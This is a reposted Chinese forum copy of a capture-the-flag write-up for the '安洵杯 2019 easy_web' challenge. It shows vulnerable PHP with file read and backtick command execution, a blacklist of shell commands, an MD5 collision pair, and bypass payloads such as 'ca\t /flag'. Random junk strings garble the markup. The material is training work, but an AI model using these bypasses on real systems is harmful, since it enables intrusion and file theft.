飞雪团队

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 5646|回复: 0

[安洵杯 2019]easy_web

[复制链接]

5344

主题

5432

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
18354
发表于 2022-2-12 14:35:42 | 显示全部楼层 |阅读模式

1 k/ Z0 e! J$ G% z- @<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
" v7 @) d6 |1 N' \% C( S<p>&nbsp;</p>
$ S' j5 i+ [( a: r<p>&nbsp;</p>7 T( c( T* z' O8 Z) j5 q
<p>&nbsp;题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=,同时查看源代码</p>/ p& D* e4 Q- Z
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
" K+ E" P  W, G6 c<p>&nbsp;</p>
, W7 t. S& v, G+ z<p>&nbsp;</p>8 u; o0 W& P5 J! U
<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>& Y% O5 k0 a4 B! e
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>, W- q% b) n" e4 l
<p>首先把那个进行一次base64位解码</p>8 k) Y/ f8 _# r, K3 @) F- P
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>
- v% \# e, N5 F( d) ]- `( D<p>&nbsp;</p>
# I( d& c" x7 W. ?8 c1 n. f<p>&nbsp;</p>4 b. \3 n* A3 N  X
<p>&nbsp;解码一次以后还是很像base64编码,于是又解码一次</p>
, J# d9 _7 ?. {( P( H3 d* ]. }  }2 e<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>
* K# N0 t, g: r<p>&nbsp;</p>
  q# z, v: a8 j( _/ G* e<p>&nbsp;</p>8 I, u8 [) w! ]# M
<p>&nbsp;然后用hex解码一下得到了</p>4 F6 D/ C% ^) \3 F3 k8 Y6 w+ z1 W
<div class="cnblogs_Highlighter">
$ R; X6 C5 ]: v' d* H$ f/ B<pre class="brush:sql;gutter:true;">555.png
, G$ I; H) f; W& u</pre>  s" X% W: q) ~( }4 ~0 t
</div>
% s6 `( @9 a2 Z8 `8 H<p>  用同样的方法把index.php进行加密</p>$ k$ Z1 ^2 n6 p/ A4 Y1 T1 h
<div class="cnblogs_Highlighter">- E5 w+ G$ O: B) @0 k# n
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3' a# ^/ ~" h$ c" ?: }
</pre>  k7 g+ P, O) U* |
</div>: c$ N4 c" t' h8 K6 k& i8 W
<p>  然后输入到地址栏</p>  A# y" ^8 ?/ l3 F
<p>&nbsp;然后查看源代码,把源代码里面的那一串base64的编码解码</p>1 ~* n9 j( k6 W: v7 g+ ~
<div class="cnblogs_code">
( x, ~1 _/ `2 A0 K6 f3 t, c" X<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php* X* M* B4 `. H
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);$ j. Z" S( p6 s
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
" w7 [* J" z5 h' K& c  X* E2 P</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];3 u( U! ?6 m! c5 N9 Y
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
+ P" h+ c7 e; S    </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd='<span style="color: rgba(0, 0, 0, 1)">);+ s% [3 e9 f- G; X# @! K  A
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));
3 i! [7 `4 V0 S+ H# n
# w: A- W& v4 Z9 L" y</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
' o2 N; a. n) B/ o</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
2 W" v1 T( [4 a    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;img src ="./ctf3.jpeg"&gt;'<span style="color: rgba(0, 0, 0, 1)">;4 @- ?- s7 y: s# l! H; K! V8 @
    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);* J" q5 t& ~3 G% f" ^0 w
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
2 t0 ^) {/ s, x/ ^    </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));* D) ]# R% [/ N" w2 u
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'&gt;&lt;/img&gt;"<span style="color: rgba(0, 0, 0, 1)">;) H" \7 b$ w# ^3 ?
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
" I1 l; h9 r  I6 p" Y}6 s' c) N) {, f6 r; S  j( @! H
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
5 Z& \; ?% ~- x" @  p  Q9 r* i$ y</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;1 k( r+ b2 r) `
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|&lt;|&gt;/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {5 t& s5 t! _8 E) C' d
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);8 i$ ?  x# ~( \+ \6 V" ^' y
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
& R. e' a5 N4 z9 X" t} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
" j# A7 z6 A" d& _- [; S! N- {- O    </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {
5 P0 H+ h- L2 b- W9 h        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
: b) q2 V2 K3 D    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
8 _1 i$ `  _, U        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
2 i  k, H4 o9 }    }2 ~" ?4 r- `/ m- ?& Q
}
4 z/ |9 ]1 P( `* M: |$ f/ H
& J& ~2 c. N- k. O  `% d</span>?&gt;# _1 f: E7 B' r" l7 z3 ~
&lt;html&gt;8 V" M( p5 X+ Z7 P9 U
&lt;style&gt;<span style="color: rgba(0, 0, 0, 1)">
, ~- [9 E$ h! z  Z  body{
7 v- m7 \6 ?/ @0 z& I  w) V   background</span>:url(./bj.png)  no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;
' \. R( c: {' {+ _   background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;
  @/ H0 |% ~4 l   background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;
7 z/ u; d- y6 m4 ^% _, H5 l# R1 a   background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>! _7 [$ W) [  Q. Y6 ]
<span style="color: rgba(0, 0, 0, 1)">}
4 m* Z4 Q" a- M6 O0 }! D! C% ]</span>&lt;/style&gt;
. M) N: ~" i  R' v7 T&lt;body&gt;
+ m/ ~7 f9 V5 M&lt;/body&gt;; Y2 D2 p: b% F! T9 \4 h
&lt;/html&gt;</pre>
% y6 h8 ^$ V+ N, q$ d6 M/ M0 A7 G</div>
4 p3 L) x9 E2 K% O& G' d<p>结合前面的推断,关键代码就在</p>
4 J& A7 N1 U1 K3 F! h<div class="cnblogs_code">4 s# y+ x9 j) p; @8 \, _
<pre>    <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {, g1 p3 W7 u4 ^/ `
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
0 R6 g5 d% g! n) l( A( H  C3 Z    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {7 J$ V$ N6 c& F& y
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);" g7 M  d& @2 Q- j4 y: g
    }</span></pre>
. \" }  [9 a: F) B0 {: L, A/ e$ `  P</div>+ R/ n( \  \6 o% k: x6 I. B& l
<p>这种MD5是md5强碰撞</p>- ]! s; J: X- C+ }  A* ~, C
<div class="cnblogs_Highlighter">4 Y3 ?) Z$ w* Y" ]
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
5 s9 k, E6 r" R6 P3 G# `* W</pre>2 f/ p* m- n! `2 b6 M
</div>
! `" W6 O; w# |9 C$ Y<div class="cnblogs_Highlighter">6 s& N) r; n8 M3 `
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a20 Y9 e$ G& b! W% ]- U  @) {' ^
</pre>0 y: v  C* u! k0 K" ~; p' K
</div>
4 C3 q8 T. v; i2 z<p>  只需要这样就可以把cmd里面的当成命令来处理。</p>
+ t9 a  B/ m7 }/ a0 J* `! d) ~  Z<p>于是采用payload:</p>- `: d/ D5 N  g: o: {
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>! I4 {& `- M% J; U1 Q6 J& j
<p>&nbsp;</p>
* M5 ~$ q! {( `6 A- H<p>&nbsp;因为'\'并没有被屏蔽所以可以这么绕过</p>
6 L9 o& U1 a: T; Y  p& l<p>ls和l\s在命令执行的时候结果是一样的。</p>1 }3 \; d: M+ D  h! V* ^
<p>然后发现根目录里面有/flag</p>
! `  c4 [# G  i8 w: Z  f<p>于是payload:</p># b! H$ L9 `! p: j- J4 @
<div class="cnblogs_Highlighter">: e- ?9 s2 {+ w, c( \" x
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
) i# ~0 P* y+ n</pre>
2 B6 ^5 Z4 t6 W4 d</div>
2 r+ ~" j  x% u0 _& h<p>  对于这个题目,因为他没有屏蔽sort和dir</p>' d/ z5 X$ S. l1 {
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
4 B) p3 {/ H  _9 ]1 _<p>&nbsp;</p>
% c+ w* a( I! j
回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|飞雪团队

GMT+8, 2024-11-24 02:27 , Processed in 0.112104 second(s), 22 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表